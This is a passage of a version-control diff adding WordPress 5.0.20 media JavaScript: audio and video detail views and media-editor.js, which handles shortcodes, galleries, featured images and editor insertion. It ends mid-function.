+	 * @fires wp.media.view.MediaDetails#media:setting:remove
+	 *
+	 * @param {Event} e
+	 */
+	removeSetting : function(e) {
+		var wrap = $( e.currentTarget ).parent(), setting;
+		setting = wrap.find( 'input' ).data( 'setting' );
+
+		if ( setting ) {
+			this.model.unset( setting );
+			this.trigger( 'media:setting:remove', this );
+		}
+
+		wrap.remove();
+	},
+
+	/**
+	 *
+	 * @fires wp.media.view.MediaDetails#media:setting:remove
+	 */
+	setTracks : function() {
+		var tracks = '';
+
+		_.each( this.$('.content-track'), function(track) {
+			tracks += $( track ).val();
+		} );
+
+		this.model.set( 'content', tracks );
+		this.trigger( 'media:setting:remove', this );
+	},
+
+	addSource : function( e ) {
+		this.controller.lastMime = $( e.currentTarget ).data( 'mime' );
+		this.controller.setState( 'add-' + this.controller.defaults.id + '-source' );
+	},
+
+	loadPlayer: function () {
+		this.players.push( new MediaElementPlayer( this.media, this.settings ) );
+		this.scriptXhr = false;
+	},
+
+	setPlayer : function() {
+		var src;
+
+		if ( this.players.length || ! this.media || this.scriptXhr ) {
+			return;
+		}
+
+		src = this.model.get( 'src' );
+
+		if ( src && src.indexOf( 'vimeo' ) > -1 && ! ( 'Vimeo' in window ) ) {
+			this.scriptXhr = $.getScript( 'https://player.vimeo.com/api/player.js', _.bind( this.loadPlayer, this ) );
+		} else {
+			this.loadPlayer();
+		}
+	},
+
+	/**
+	 * @abstract
+	 */
+	setMedia : function() {
+		return this;
+	},
+
+	success : function(mejs) {
+		var autoplay = mejs.attributes.autoplay && 'false' !== mejs.attributes.autoplay;
+
+		if ( 'flash' === mejs.pluginType && autoplay ) {
+			mejs.addEventListener( 'canplay', function() {
+				mejs.play();
+			}, false );
+		}
+
+		this.mejs = mejs;
+	},
+
+	/**
+	 * @returns {media.view.MediaDetails} Returns itself to allow chaining
+	 */
+	render: function() {
+		AttachmentDisplay.prototype.render.apply( this, arguments );
+
+		setTimeout( _.bind( function() {
+			this.resetFocus();
+		}, this ), 10 );
+
+		this.settings = _.defaults( {
+			success : this.success
+		}, wp.media.mixin.mejsSettings );
+
+		return this.setMedia();
+	},
+
+	resetFocus: function() {
+		this.$( '.embed-media-settings' ).scrollTop( 0 );
+	}
+},/** @lends wp.media.view.MediaDetails */{
+	instances : 0,
+	/**
+	 * When multiple players in the DOM contain the same src, things get weird.
+	 *
+	 * @param {HTMLElement} elem
+	 * @returns {HTMLElement}
+	 */
+	prepareSrc : function( elem ) {
+		var i = MediaDetails.instances++;
+		_.each( $( elem ).find( 'source' ), function( source ) {
+			source.src = [
+				source.src,
+				source.src.indexOf('?') > -1 ? '&' : '?',
+				'_=',
+				i
+			].join('');
+		} );
+
+		return elem;
+	}
+});
+
+module.exports = MediaDetails;
+
+
+/***/ }),
+/* 8 */
+/***/ (function(module, exports) {
+
+var MediaDetails = wp.media.view.MediaDetails,
+	AudioDetails;
+
+/**
+ * wp.media.view.AudioDetails
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.view.MediaDetails
+ * @augments wp.media.view.Settings.AttachmentDisplay
+ * @augments wp.media.view.Settings
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+AudioDetails = MediaDetails.extend(/** @lends wp.media.view.AudioDetails.prototype */{
+	className: 'audio-details',
+	template:  wp.template('audio-details'),
+
+	setMedia: function() {
+		var audio = this.$('.wp-audio-shortcode');
+
+		if ( audio.find( 'source' ).length ) {
+			if ( audio.is(':hidden') ) {
+				audio.show();
+			}
+			this.media = MediaDetails.prepareSrc( audio.get(0) );
+		} else {
+			audio.hide();
+			this.media = false;
+		}
+
+		return this;
+	}
+});
+
+module.exports = AudioDetails;
+
+
+/***/ }),
+/* 9 */
+/***/ (function(module, exports) {
+
+var MediaDetails = wp.media.view.MediaDetails,
+	VideoDetails;
+
+/**
+ * wp.media.view.VideoDetails
+ *
+ * @memberOf wp.media.view
+ *
+ * @class
+ * @augments wp.media.view.MediaDetails
+ * @augments wp.media.view.Settings.AttachmentDisplay
+ * @augments wp.media.view.Settings
+ * @augments wp.media.View
+ * @augments wp.Backbone.View
+ * @augments Backbone.View
+ */
+VideoDetails = MediaDetails.extend(/** @lends wp.media.view.VideoDetails.prototype */{
+	className: 'video-details',
+	template:  wp.template('video-details'),
+
+	setMedia: function() {
+		var video = this.$('.wp-video-shortcode');
+
+		if ( video.find( 'source' ).length ) {
+			if ( video.is(':hidden') ) {
+				video.show();
+			}
+
+			if ( ! video.hasClass( 'youtube-video' ) && ! video.hasClass( 'vimeo-video' ) ) {
+				this.media = MediaDetails.prepareSrc( video.get(0) );
+			} else {
+				this.media = video.get(0);
+			}
+		} else {
+			video.hide();
+			this.media = false;
+		}
+
+		return this;
+	}
+});
+
+module.exports = VideoDetails;
+
+
+/***/ })
+/******/ ]);
Index: /tags/5.0.20/src/wp-includes/js/media-editor.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/media-editor.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/media-editor.js	(revision 56912)
@@ -0,0 +1,1058 @@
+/* global getUserSetting, tinymce, QTags */
+
+// WordPress, TinyMCE, and Media
+// -----------------------------
+(function($, _){
+	/**
+	 * Stores the editors' `wp.media.controller.Frame` instances.
+	 *
+	 * @static
+	 */
+	var workflows = {};
+
+	/**
+	 * A helper mixin function to avoid truthy and falsey values being
+	 *   passed as an input that expects booleans. If key is undefined in the map,
+	 *   but has a default value, set it.
+	 *
+	 * @param {object} attrs Map of props from a shortcode or settings.
+	 * @param {string} key The key within the passed map to check for a value.
+	 * @returns {mixed|undefined} The original or coerced value of key within attrs
+	 */
+	wp.media.coerce = function ( attrs, key ) {
+		if ( _.isUndefined( attrs[ key ] ) && ! _.isUndefined( this.defaults[ key ] ) ) {
+			attrs[ key ] = this.defaults[ key ];
+		} else if ( 'true' === attrs[ key ] ) {
+			attrs[ key ] = true;
+		} else if ( 'false' === attrs[ key ] ) {
+			attrs[ key ] = false;
+		}
+		return attrs[ key ];
+	};
+
+	/** @namespace wp.media.string */
+	wp.media.string = {
+		/**
+		 * Joins the `props` and `attachment` objects,
+		 * outputting the proper object format based on the
+		 * attachment's type.
+		 *
+		 * @param {Object} [props={}] Attachment details (align, link, size, etc).
+		 * @param {Object} attachment The attachment object, media version of Post.
+		 * @returns {Object} Joined props
+		 */
+		props: function( props, attachment ) {
+			var link, linkUrl, size, sizes,
+				defaultProps = wp.media.view.settings.defaultProps;
+
+			props = props ? _.clone( props ) : {};
+
+			if ( attachment && attachment.type ) {
+				props.type = attachment.type;
+			}
+
+			if ( 'image' === props.type ) {
+				props = _.defaults( props || {}, {
+					align:   defaultProps.align || getUserSetting( 'align', 'none' ),
+					size:    defaultProps.size  || getUserSetting( 'imgsize', 'medium' ),
+					url:     '',
+					classes: []
+				});
+			}
+
+			// All attachment-specific settings follow.
+			if ( ! attachment ) {
+				return props;
+			}
+
+			props.title = props.title || attachment.title;
+
+			link = props.link || defaultProps.link || getUserSetting( 'urlbutton', 'file' );
+			if ( 'file' === link || 'embed' === link ) {
+				linkUrl = attachment.url;
+			} else if ( 'post' === link ) {
+				linkUrl = attachment.link;
+			} else if ( 'custom' === link ) {
+				linkUrl = props.linkUrl;
+			}
+			props.linkUrl = linkUrl || '';
+
+			// Format properties for images.
+			if ( 'image' === attachment.type ) {
+				props.classes.push( 'wp-image-' + attachment.id );
+
+				sizes = attachment.sizes;
+				size = sizes && sizes[ props.size ] ? sizes[ props.size ] : attachment;
+
+				_.extend( props, _.pick( attachment, 'align', 'caption', 'alt' ), {
+					width:     size.width,
+					height:    size.height,
+					src:       size.url,
+					captionId: 'attachment_' + attachment.id
+				});
+			} else if ( 'video' === attachment.type || 'audio' === attachment.type ) {
+				_.extend( props, _.pick( attachment, 'title', 'type', 'icon', 'mime' ) );
+			// Format properties for non-images.
+			} else {
+				props.title = props.title || attachment.filename;
+				props.rel = props.rel || 'attachment wp-att-' + attachment.id;
+			}
+
+			return props;
+		},
+		/**
+		 * Create link markup that is suitable for passing to the editor
+		 *
+		 * @param {Object} props Attachment details (align, link, size, etc).
+		 * @param {Object} attachment The attachment object, media version of Post.
+		 * @returns {string} The link markup
+		 */
+		link: function( props, attachment ) {
+			var options;
+
+			props = wp.media.string.props( props, attachment );
+
+			options = {
+				tag:     'a',
+				content: props.title,
+				attrs:   {
+					href: props.linkUrl
+				}
+			};
+
+			if ( props.rel ) {
+				options.attrs.rel = props.rel;
+			}
+
+			return wp.html.string( options );
+		},
+		/**
+		 * Create an Audio shortcode string that is suitable for passing to the editor
+		 *
+		 * @param {Object} props Attachment details (align, link, size, etc).
+		 * @param {Object} attachment The attachment object, media version of Post.
+		 * @returns {string} The audio shortcode
+		 */
+		audio: function( props, attachment ) {
+			return wp.media.string._audioVideo( 'audio', props, attachment );
+		},
+		/**
+		 * Create a Video shortcode string that is suitable for passing to the editor
+		 *
+		 * @param {Object} props Attachment details (align, link, size, etc).
+		 * @param {Object} attachment The attachment object, media version of Post.
+		 * @returns {string} The video shortcode
+		 */
+		video: function( props, attachment ) {
+			return wp.media.string._audioVideo( 'video', props, attachment );
+		},
+		/**
+		 * Helper function to create a media shortcode string
+		 *
+		 * @access private
+		 *
+		 * @param {string} type The shortcode tag name: 'audio' or 'video'.
+		 * @param {Object} props Attachment details (align, link, size, etc).
+		 * @param {Object} attachment The attachment object, media version of Post.
+		 * @returns {string} The media shortcode
+		 */
+		_audioVideo: function( type, props, attachment ) {
+			var shortcode, html, extension;
+
+			props = wp.media.string.props( props, attachment );
+			if ( props.link !== 'embed' )
+				return wp.media.string.link( props );
+
+			shortcode = {};
+
+			if ( 'video' === type ) {
+				if ( attachment.image && -1 === attachment.image.src.indexOf( attachment.icon ) ) {
+					shortcode.poster = attachment.image.src;
+				}
+
+				if ( attachment.width ) {
+					shortcode.width = attachment.width;
+				}
+
+				if ( attachment.height ) {
+					shortcode.height = attachment.height;
+				}
+			}
+
+			extension = attachment.filename.split('.').pop();
+
+			if ( _.contains( wp.media.view.settings.embedExts, extension ) ) {
+				shortcode[extension] = attachment.url;
+			} else {
+				// Render unsupported audio and video files as links.
+				return wp.media.string.link( props );
+			}
+
+			html = wp.shortcode.string({
+				tag:     type,
+				attrs:   shortcode
+			});
+
+			return html;
+		},
+		/**
+		 * Create image markup, optionally with a link and/or wrapped in a caption shortcode,
+		 *  that is suitable for passing to the editor
+		 *
+		 * @param {Object} props Attachment details (align, link, size, etc).
+		 * @param {Object} attachment The attachment object, media version of Post.
+		 * @returns {string}
+		 */
+		image: function( props, attachment ) {
+			var img = {},
+				options, classes, shortcode, html;
+
+			props.type = 'image';
+			props = wp.media.string.props( props, attachment );
+			classes = props.classes || [];
+
+			img.src = ! _.isUndefined( attachment ) ? attachment.url : props.url;
+			_.extend( img, _.pick( props, 'width', 'height', 'alt' ) );
+
+			// Only assign the align class to the image if we're not printing
+			// a caption, since the alignment is sent to the shortcode.
+			if ( props.align && ! props.caption ) {
+				classes.push( 'align' + props.align );
+			}
+
+			if ( props.size ) {
+				classes.push( 'size-' + props.size );
+			}
+
+			img['class'] = _.compact( classes ).join(' ');
+
+			// Generate `img` tag options.
+			options = {
+				tag:    'img',
+				attrs:  img,
+				single: true
+			};
+
+			// Generate the `a` element options, if they exist.
+			if ( props.linkUrl ) {
+				options = {
+					tag:   'a',
+					attrs: {
+						href: props.linkUrl
+					},
+					content: options
+				};
+			}
+
+			html = wp.html.string( options );
+
+			// Generate the caption shortcode.
+			if ( props.caption ) {
+				shortcode = {};
+
+				if ( img.width ) {
+					shortcode.width = img.width;
+				}
+
+				if ( props.captionId ) {
+					shortcode.id = props.captionId;
+				}
+
+				if ( props.align ) {
+					shortcode.align = 'align' + props.align;
+				}
+
+				html = wp.shortcode.string({
+					tag:     'caption',
+					attrs:   shortcode,
+					content: html + ' ' + props.caption
+				});
+			}
+
+			return html;
+		}
+	};
+
+	wp.media.embed = {
+		coerce : wp.media.coerce,
+
+		defaults : {
+			url : '',
+			width: '',
+			height: ''
+		},
+
+		edit : function( data, isURL ) {
+			var frame, props = {}, shortcode;
+
+			if ( isURL ) {
+				props.url = data.replace(/<[^>]+>/g, '');
+			} else {
+				shortcode = wp.shortcode.next( 'embed', data ).shortcode;
+
+				props = _.defaults( shortcode.attrs.named, this.defaults );
+				if ( shortcode.content ) {
+					props.url = shortcode.content;
+				}
+			}
+
+			frame = wp.media({
+				frame: 'post',
+				state: 'embed',
+				metadata: props
+			});
+
+			return frame;
+		},
+
+		shortcode : function( model ) {
+			var self = this, content;
+
+			_.each( this.defaults, function( value, key ) {
+				model[ key ] = self.coerce( model, key );
+
+				if ( value === model[ key ] ) {
+					delete model[ key ];
+				}
+			});
+
+			content = model.url;
+			delete model.url;
+
+			return new wp.shortcode({
+				tag: 'embed',
+				attrs: model,
+				content: content
+			});
+		}
+	};
+
+	/**
+	 * @class wp.media.collection
+	 *
+	 * @param {Object} attributes
+	 */
+	wp.media.collection = function(attributes) {
+		var collections = {};
+
+		return _.extend(/** @lends wp.media.collection.prototype */{
+			coerce : wp.media.coerce,
+			/**
+			 * Retrieve attachments based on the properties of the passed shortcode
+			 *
+			 * @param {wp.shortcode} shortcode An instance of wp.shortcode().
+			 * @returns {wp.media.model.Attachments} A Backbone.Collection containing
+			 *      the media items belonging to a collection.
+			 *      The query[ this.tag ] property is a Backbone.Model
+			 *          containing the 'props' for the collection.
+			 */
+			attachments: function( shortcode ) {
+				var shortcodeString = shortcode.string(),
+					result = collections[ shortcodeString ],
+					attrs, args, query, others, self = this;
+
+				delete collections[ shortcodeString ];
+				if ( result ) {
+					return result;
+				}
+				// Fill the default shortcode attributes.
+				attrs = _.defaults( shortcode.attrs.named, this.defaults );
+				args  = _.pick( attrs, 'orderby', 'order' );
+
+				args.type    = this.type;
+				args.perPage = -1;
+
+				// Mark the `orderby` override attribute.
+				if ( undefined !== attrs.orderby ) {
+					attrs._orderByField = attrs.orderby;
+				}
+
+				if ( 'rand' === attrs.orderby ) {
+					attrs._orderbyRandom = true;
+				}
+
+				// Map the `orderby` attribute to the corresponding model property.
+				if ( ! attrs.orderby || /^menu_order(?: ID)?$/i.test( attrs.orderby ) ) {
+					args.orderby = 'menuOrder';
+				}
+
+				// Map the `ids` param to the correct query args.
+				if ( attrs.ids ) {
+					args.post__in = attrs.ids.split(',');
+					args.orderby  = 'post__in';
+				} else if ( attrs.include ) {
+					args.post__in = attrs.include.split(',');
+				}
+
+				if ( attrs.exclude ) {
+					args.post__not_in = attrs.exclude.split(',');
+				}
+
+				if ( ! args.post__in ) {
+					args.uploadedTo = attrs.id;
+				}
+
+				// Collect the attributes that were not included in `args`.
+				others = _.omit( attrs, 'id', 'ids', 'include', 'exclude', 'orderby', 'order' );
+
+				_.each( this.defaults, function( value, key ) {
+					others[ key ] = self.coerce( others, key );
+				});
+
+				query = wp.media.query( args );
+				query[ this.tag ] = new Backbone.Model( others );
+				return query;
+			},
+			/**
+			 * Triggered when clicking 'Insert {label}' or 'Update {label}'
+			 *
+			 * @param {wp.media.model.Attachments} attachments A Backbone.Collection containing
+			 *      the media items belonging to a collection.
+			 *      The query[ this.tag ] property is a Backbone.Model
+			 *          containing the 'props' for the collection.
+			 * @returns {wp.shortcode}
+			 */
+			shortcode: function( attachments ) {
+				var props = attachments.props.toJSON(),
+					attrs = _.pick( props, 'orderby', 'order' ),
+					shortcode, clone;
+
+				if ( attachments.type ) {
+					attrs.type = attachments.type;
+					delete attachments.type;
+				}
+
+				if ( attachments[this.tag] ) {
+					_.extend( attrs, attachments[this.tag].toJSON() );
+				}
+
+				// Convert all gallery shortcodes to use the `ids` property.
+				// Ignore `post__in` and `post__not_in`; the attachments in
+				// the collection will already reflect those properties.
+				attrs.ids = attachments.pluck('id');
+
+				// Copy the `uploadedTo` post ID.
+				if ( props.uploadedTo ) {
+					attrs.id = props.uploadedTo;
+				}
+				// Check if the gallery is randomly ordered.
+				delete attrs.orderby;
+
+				if ( attrs._orderbyRandom ) {
+					attrs.orderby = 'rand';
+				} else if ( attrs._orderByField && attrs._orderByField != 'rand' ) {
+					attrs.orderby = attrs._orderByField;
+				}
+
+				delete attrs._orderbyRandom;
+				delete attrs._orderByField;
+
+				// If the `ids` attribute is set and `orderby` attribute
+				// is the default value, clear it for cleaner output.
+				if ( attrs.ids && 'post__in' === attrs.orderby ) {
+					delete attrs.orderby;
+				}
+
+				attrs = this.setDefaults( attrs );
+
+				shortcode = new wp.shortcode({
+					tag:    this.tag,
+					attrs:  attrs,
+					type:   'single'
+				});
+
+				// Use a cloned version of the gallery.
+				clone = new wp.media.model.Attachments( attachments.models, {
+					props: props
+				});
+				clone[ this.tag ] = attachments[ this.tag ];
+				collections[ shortcode.string() ] = clone;
+
+				return shortcode;
+			},
+			/**
+			 * Triggered when double-clicking a collection shortcode placeholder
+			 *   in the editor
+			 *
+			 * @param {string} content Content that is searched for possible
+			 *    shortcode markup matching the passed tag name,
+			 *
+			 * @this wp.media.{prop}
+			 *
+			 * @returns {wp.media.view.MediaFrame.Select} A media workflow.
+			 */
+			edit: function( content ) {
+				var shortcode = wp.shortcode.next( this.tag, content ),
+					defaultPostId = this.defaults.id,
+					attachments, selection, state;
+
+				// Bail if we didn't match the shortcode or all of the content.
+				if ( ! shortcode || shortcode.content !== content ) {
+					return;
+				}
+
+				// Ignore the rest of the match object.
+				shortcode = shortcode.shortcode;
+
+				if ( _.isUndefined( shortcode.get('id') ) && ! _.isUndefined( defaultPostId ) ) {
+					shortcode.set( 'id', defaultPostId );
+				}
+
+				attachments = this.attachments( shortcode );
+
+				selection = new wp.media.model.Selection( attachments.models, {
+					props:    attachments.props.toJSON(),
+					multiple: true
+				});
+
+				selection[ this.tag ] = attachments[ this.tag ];
+
+				// Fetch the query's attachments, and then break ties from the
+				// query to allow for sorting.
+				selection.more().done( function() {
+					// Break ties with the query.
+					selection.props.set({ query: false });
+					selection.unmirror();
+					selection.props.unset('orderby');
+				});
+
+				// Destroy the previous gallery frame.
+				if ( this.frame ) {
+					this.frame.dispose();
+				}
+
+				if ( shortcode.attrs.named.type && 'video' === shortcode.attrs.named.type ) {
+					state = 'video-' + this.tag + '-edit';
+				} else {
+					state = this.tag + '-edit';
+				}
+
+				// Store the current frame.
+				this.frame = wp.media({
+					frame:     'post',
+					state:     state,
+					title:     this.editTitle,
+					editing:   true,
+					multiple:  true,
+					selection: selection
+				}).open();
+
+				return this.frame;
+			},
+
+			setDefaults: function( attrs ) {
+				var self = this;
+				// Remove default attributes from the shortcode.
+				_.each( this.defaults, function( value, key ) {
+					attrs[ key ] = self.coerce( attrs, key );
+					if ( value === attrs[ key ] ) {
+						delete attrs[ key ];
+					}
+				});
+
+				return attrs;
+			}
+		}, attributes );
+	};
+
+	wp.media._galleryDefaults = {
+		itemtag: 'dl',
+		icontag: 'dt',
+		captiontag: 'dd',
+		columns: '3',
+		link: 'post',
+		size: 'thumbnail',
+		order: 'ASC',
+		id: wp.media.view.settings.post && wp.media.view.settings.post.id,
+		orderby : 'menu_order ID'
+	};
+
+	if ( wp.media.view.settings.galleryDefaults ) {
+		wp.media.galleryDefaults = _.extend( {}, wp.media._galleryDefaults, wp.media.view.settings.galleryDefaults );
+	} else {
+		wp.media.galleryDefaults = wp.media._galleryDefaults;
+	}
+
+	wp.media.gallery = new wp.media.collection({
+		tag: 'gallery',
+		type : 'image',
+		editTitle : wp.media.view.l10n.editGalleryTitle,
+		defaults : wp.media.galleryDefaults,
+
+		setDefaults: function( attrs ) {
+			var self = this, changed = ! _.isEqual( wp.media.galleryDefaults, wp.media._galleryDefaults );
+			_.each( this.defaults, function( value, key ) {
+				attrs[ key ] = self.coerce( attrs, key );
+				if ( value === attrs[ key ] && ( ! changed || value === wp.media._galleryDefaults[ key ] ) ) {
+					delete attrs[ key ];
+				}
+			} );
+			return attrs;
+		}
+	});
+
+	/**
+	 * @namespace wp.media.featuredImage
+	 * @memberOf wp.media
+	 */
+	wp.media.featuredImage = {
+		/**
+		 * Get the featured image post ID
+		 *
+		 * @returns {wp.media.view.settings.post.featuredImageId|number}
+		 */
+		get: function() {
+			return wp.media.view.settings.post.featuredImageId;
+		},
+		/**
+		 * Set the featured image id, save the post thumbnail data and
+		 * set the HTML in the post meta box to the new featured image.
+		 *
+		 * @param {number} id The post ID of the featured image, or -1 to unset it.
+		 */
+		set: function( id ) {
+			var settings = wp.media.view.settings;
+
+			settings.post.featuredImageId = id;
+
+			wp.media.post( 'get-post-thumbnail-html', {
+				post_id:      settings.post.id,
+				thumbnail_id: settings.post.featuredImageId,
+				_wpnonce:     settings.post.nonce
+			}).done( function( html ) {
+				if ( html == '0' ) {
+					window.alert( window.setPostThumbnailL10n.error );
+					return;
+				}
+				$( '.inside', '#postimagediv' ).html( html );
+			});
+		},
+		/**
+		 * Remove the featured image id, save the post thumbnail data and
+		 * set the HTML in the post meta box to no featured image.
+		 */
+		remove: function() {
+			wp.media.featuredImage.set( -1 );
+		},
+		/**
+		 * The Featured Image workflow
+		 *
+		 * @this wp.media.featuredImage
+		 *
+		 * @returns {wp.media.view.MediaFrame.Select} A media workflow.
+		 */
+		frame: function() {
+			if ( this._frame ) {
+				wp.media.frame = this._frame;
+				return this._frame;
+			}
+
+			this._frame = wp.media({
+				state: 'featured-image',
+				states: [ new wp.media.controller.FeaturedImage() , new wp.media.controller.EditImage() ]
+			});
+
+			this._frame.on( 'toolbar:create:featured-image', function( toolbar ) {
+				/**
+				 * @this wp.media.view.MediaFrame.Select
+				 */
+				this.createSelectToolbar( toolbar, {
+					text: wp.media.view.l10n.setFeaturedImage
+				});
+			}, this._frame );
+
+			this._frame.on( 'content:render:edit-image', function() {
+				var selection = this.state('featured-image').get('selection'),
+					view = new wp.media.view.EditImage( { model: selection.single(), controller: this } ).render();
+
+				this.content.set( view );
+
+				// after bringing in the frame, load the actual editor via an ajax call
+				view.loadEditor();
+
+			}, this._frame );
+
+			this._frame.state('featured-image').on( 'select', this.select );
+			return this._frame;
+		},
+		/**
+		 * 'select' callback for Featured Image workflow, triggered when
+		 *  the 'Set Featured Image' button is clicked in the media modal.
+		 *
+		 * @this wp.media.controller.FeaturedImage
+		 */
+		select: function() {
+			var selection = this.get('selection').single();
+
+			if ( ! wp.media.view.settings.post.featuredImageId ) {
+				return;
+			}
+
+			wp.media.featuredImage.set( selection ? selection.id : -1 );
+		},
+		/**
+		 * Open the content media manager to the 'featured image' tab when
+		 * the post thumbnail is clicked.
+		 *
+		 * Update the featured image id when the 'remove' link is clicked.
+		 */
+		init: function() {
+			$('#postimagediv').on( 'click', '#set-post-thumbnail', function( event ) {
+				event.preventDefault();
+				// Stop propagation to prevent thickbox from activating.
+				event.stopPropagation();
+
+				wp.media.featuredImage.frame().open();
+			}).on( 'click', '#remove-post-thumbnail', function() {
+				wp.media.featuredImage.remove();
+				return false;
+			});
+		}
+	};
+
+	$( wp.media.featuredImage.init );
+
+	/** @namespace wp.media.editor */
+	wp.media.editor = {
+		/**
+		 * Send content to the editor
+		 *
+		 * @param {string} html Content to send to the editor
+		 */
+		insert: function( html ) {
+			var editor, wpActiveEditor,
+				hasTinymce = ! _.isUndefined( window.tinymce ),
+				hasQuicktags = ! _.isUndefined( window.QTags );
+
+			if ( this.activeEditor ) {
+				wpActiveEditor = window.wpActiveEditor = this.activeEditor;
+			} else {
+				wpActiveEditor = window.wpActiveEditor;
+			}
+
+			// Delegate to the global `send_to_editor` if it exists.
+			// This attempts to play nice with any themes/plugins that have
+			// overridden the insert functionality.
+			if ( window.send_to_editor ) {
+				return window.send_to_editor.apply( this, arguments );
+			}
+
+			if ( ! wpActiveEditor ) {
+				if ( hasTinymce && tinymce.activeEditor ) {
+					editor = tinymce.activeEditor;
+					wpActiveEditor = window.wpActiveEditor = editor.id;
+				} else if ( ! hasQuicktags ) {
+					return false;
+				}
+			} else if ( hasTinymce ) {
+				editor = tinymce.get( wpActiveEditor );
+			}
+
+			if ( editor && ! editor.isHidden() ) {
+				editor.execCommand( 'mceInsertContent', false, html );
+			} else if ( hasQuicktags ) {
+				QTags.insertContent( html );
+			} else {
+				document.getElementById( wpActiveEditor ).value += html;
+			}
+
+			// If the old thickbox remove function exists, call it in case
+			// a theme/plugin overloaded it.
+			if ( window.tb_remove ) {
+				try { window.tb_remove(); } catch( e ) {}
+			}
+		},
+
+		/**
+		 * Setup 'workflow' and add to the 'workflows' cache. 'open' can
+		 *  subsequently be called upon it.
+		 *
+		 * @param {string} id A slug used to identify the workflow.
+		 * @param {Object} [options={}]
+		 *
+		 * @this wp.media.editor
+		 *
+		 * @returns {wp.media.view.MediaFrame.Select} A media workflow.
+		 */
+		add: function( id, options ) {
+			var workflow = this.get( id );
+
+			// only add once: if exists return existing
+			if ( workflow ) {
+				return workflow;
+			}
+
+			workflow = workflows[ id ] = wp.media( _.defaults( options || {}, {
+				frame:    'post',
+				state:    'insert',
+				title:    wp.media.view.l10n.addMedia,
+				multiple: true
+			} ) );
+
+			workflow.on( 'insert', function( selection ) {
+				var state = workflow.state();
+
+				selection = selection || state.get('selection');
+
+				if ( ! selection )
+					return;
+
+				$.when.apply( $, selection.map( function( attachment ) {
+					var display = state.display( attachment ).toJSON();
+					/**
+					 * @this wp.media.editor
+					 */
+					return this.send.attachment( display, attachment.toJSON() );
+				}, this ) ).done( function() {
+					wp.media.editor.insert( _.toArray( arguments ).join('\n\n') );
+				});
+			}, this );
+
+			workflow.state('gallery-edit').on( 'update', function( selection ) {
+				/**
+				 * @this wp.media.editor
+				 */
+				this.insert( wp.media.gallery.shortcode( selection ).string() );
+			}, this );
+
+			workflow.state('playlist-edit').on( 'update', function( selection ) {
+				/**
+				 * @this wp.media.editor
+				 */
+				this.insert( wp.media.playlist.shortcode( selection ).string() );
+			}, this );
+
+			workflow.state('video-playlist-edit').on( 'update', function( selection ) {
+				/**
+				 * @this wp.media.editor
+				 */
+				this.insert( wp.media.playlist.shortcode( selection ).string() );
+			}, this );
+
+			workflow.state('embed').on( 'select', function() {
+				/**
+				 * @this wp.media.editor
+				 */
+				var state = workflow.state(),
+					type = state.get('type'),
+					embed = state.props.toJSON();
+
+				embed.url = embed.url || '';
+
+				if ( 'link' === type ) {
+					_.defaults( embed, {
+						linkText: embed.url,
+						linkUrl: embed.url
+					});
+
+					this.send.link( embed ).done( function( resp ) {
+						wp.media.editor.insert( resp );
+					});
+
+				} else if ( 'image' === type ) {
+					_.defaults( embed, {
+						title:   embed.url,
+						linkUrl: '',
+						align:   'none',
+						link:    'none'
+					});
+
+					if ( 'none' === embed.link ) {
+						embed.linkUrl = '';
+					} else if ( 'file' === embed.link ) {
+						embed.linkUrl = embed.url;
+					}
+
+					this.insert( wp.media.string.image( embed ) );
+				}
+			}, this );
+
+			workflow.state('featured-image').on( 'select', wp.media.featuredImage.select );
+			workflow.setState( workflow.options.state );
+			return workflow;
+		},
+		/**
+		 * Determines the proper current workflow id
+		 *
+		 * @param {string} [id=''] A slug used to identify the workflow.
+		 *
+		 * @returns {wpActiveEditor|string|tinymce.activeEditor.id}
+		 */
+		id: function( id ) {
+			if ( id ) {
+				return id;
+			}
+
+			// If an empty `id` is provided, default to `wpActiveEditor`.
+			id = window.wpActiveEditor;
+
+			// If that doesn't work, fall back to `tinymce.activeEditor.id`.
+			if ( ! id && ! _.isUndefined( window.tinymce ) && tinymce.activeEditor ) {
+				id = tinymce.activeEditor.id;
+			}
+
+			// Last but not least, fall back to the empty string.
+			id = id || '';
+			return id;
+		},
+		/**
+		 * Return the workflow specified by id
+		 *
+		 * @param {string} id A slug used to identify the workflow.
+		 *
+		 * @this wp.media.editor
+		 *
+		 * @returns {wp.media.view.MediaFrame} A media workflow.
+		 */
+		get: function( id ) {
+			id = this.id( id );
+			return workflows[ id ];
+		},
+		/**
+		 * Remove the workflow represented by id from the workflow cache
+		 *
+		 * @param {string} id A slug used to identify the workflow.
+		 *
+		 * @this wp.media.editor
+		 */
+		remove: function( id ) {
+			id = this.id( id );
+			delete workflows[ id ];
+		},
+		/** @namespace wp.media.editor.send */
+		send: {
+			/**
+			 * Called when sending an attachment to the editor
+			 *   from the medial modal.
+			 *
+			 * @param {Object} props Attachment details (align, link, size, etc).
+			 * @param {Object} attachment The attachment object, media version of Post.
+			 * @returns {Promise}
+			 */
+			attachment: function( props, attachment ) {
+				var caption = attachment.caption,
+					options, html;
+
+				// If captions are disabled, clear the caption.
+				if ( ! wp.media.view.settings.captions ) {
+					delete attachment.caption;
+				}
+
+				props = wp.media.string.props( props, attachment );
+
+				options = {
+					id:           attachment.id,
+					post_content: attachment.description,
+					post_excerpt: caption
+				};
+
+				if ( props.linkUrl ) {
+					options.url = props.linkUrl;
+				}
+
+				if ( 'image' === attachment.type ) {
+					html = wp.media.string.image( props );
+
+					_.each({
+						align: 'align',
+						size:  'image-size',
+						alt:   'image_alt'
+					}, function( option, prop ) {
+						if ( props[ prop ] )
+							options[ option ] = props[ prop ];
+					});
+				} else if ( 'video' === attachment.type ) {
+					html = wp.media.string.video( props, attachment );
+				} else if ( 'audio' === attachment.type ) {
+					html = wp.media.string.audio( props, attachment );
+				} else {
+					html = wp.media.string.link( props );
+					options.post_title = props.title;
+				}
+
+				return wp.media.post( 'send-attachment-to-editor', {
+					nonce:      wp.media.view.settings.nonce.sendToEditor,
+					attachment: options,
+					html:       html,
+					post_id:    wp.media.view.settings.post.id
+				});
+			},
+			/**
+			 * Called when 'Insert From URL' source is not an image. Example: YouTube url.
+			 *
+			 * @param {Object} embed
+			 * @returns {Promise}
+			 */
+			link: function( embed ) {
+				return wp.media.post( 'send-link-to-editor', {
+					nonce:     wp.media.view.settings.nonce.sendToEditor,
+					src:       embed.linkUrl,
+					link_text: embed.linkText,
+					html:      wp.media.string.link( embed ),
